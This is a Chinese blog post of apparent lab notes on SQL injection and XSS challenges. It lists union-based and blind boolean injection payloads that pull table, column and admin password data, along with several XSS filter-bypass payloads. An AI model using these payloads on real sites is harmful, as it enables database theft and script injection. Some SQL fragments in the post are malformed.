60.sql注入与xss挑战

2018-10-05  本文已影响0人  扶桑啊啊

一、sql注入(正常回显)的步骤
1.检查注入点——使用'
报错——>'引入了查询语句
正常——>没有注入点
and 1=1(真逻辑)——>返回正常
and 1=2(假逻辑)——>返回错误(数字型)
and '1'=1 and '1'='2(字符型)
2.查询列数
order by N
返回正确(有第N列)
返回错误(没有N列)
3.查询回显位置
-1 union select 1,2,3,4,5(有5列)
查看页面显示哪个数字
4.在有回显的位置插入
查询语句

-1 union select 1,username,3,4,5 from user 

(数字2在页面显示)
获取数据库信息 (version(),user(),database());
获取表名

 -1' union select table_name from information_schema.tables where table_schema=database() limit 0,1#

获取字段名

-1' union select column_name from information_schema.columns where table_name='test_admin' limit 0,1#

查询数据

 -1' union select 字段名 from 表名 limit 0,1#

二、xss挑战
1.url中带有get参数?name=xxx,于是在参数加入js代码

<script>alert(/xss/)</script>

2.先在输入框尝试输入<script>alert(/xss/)</script>,看到搜索内容正常回显,于是查看源代码


过滤尖角号

所以考虑将前面的input标签闭合,让script标签生效,构造:

"><script>alert(/xss/)</script>

3.先在输入框尝试输入<script>alert(/xss/)</script>,搜索内容正常回显,于是查看源代码


input也过滤尖角号

尝试不使用标签而是向标签中添加监听事件,触发事件则产生弹窗。构造:

'onmouseover='alert(/xss/)

当鼠标经过输入框,则会触发弹窗。
4.先在输入框尝试输入<script>alert(/xss/)</script>,看到搜索内容正常回显,于是查看源代码


尖角号转空

尝试闭合双引号后构造一个事件触发后弹窗,构造:

" onkeydown="alert(/xss/)

当按下键盘时弹窗。
5.先在输入框尝试输入<script>alert(/xss/)</script>,看到搜索内容正常回显,于是查看源代码


对script进行转义

尝试不使用script标签,而是使用一个链接配合JavaScript伪协议进行弹窗,构造:

"><a href="javascript:alert(/xss/)">xss</a>

三、sql注入示例

1.登录账号:admin

密码:2'or1

2.验证有没有sql注入,在链接末尾

加'

image image image

说明有sql注入

加 [and exists(select * from admin)]

image

加 [and exists(select admin from admin)]

image

加 [and exists(select password from admin)]

image

加[and (select top 1 len(admin) from admin)>1]

image

一直往上加,直到5,失败[and (select top 1 len(admin) from admin)>5],说明密码是5位的

image

加[and select top 1 asc(mid(admin,1,1)) from admin)>96正确

image

加[and select top 1 asc(mid(admin,1,1)) from admin)>97发生错误,说明第一条记录的第一个字符是a。(mid('123456',2,3) --这个代表从第二位截取,截取3位长度,结果就是234)

image

第二个字符的ASCII码为99,是d

image

检测字段长度

image image

联合查询

image image

四、绕过xss
题目过滤xss这三个字母,
1.绕过:<script>alert(String.fromCharCode(120,115,115))</script>


ASCII码绕过

2.f12调出控制台,在控制台输入alert('xss')


控制台绕过
image.png
image.png

3.用分号截断;;;;;


分号截断
上一篇 下一篇

猜你喜欢

热点阅读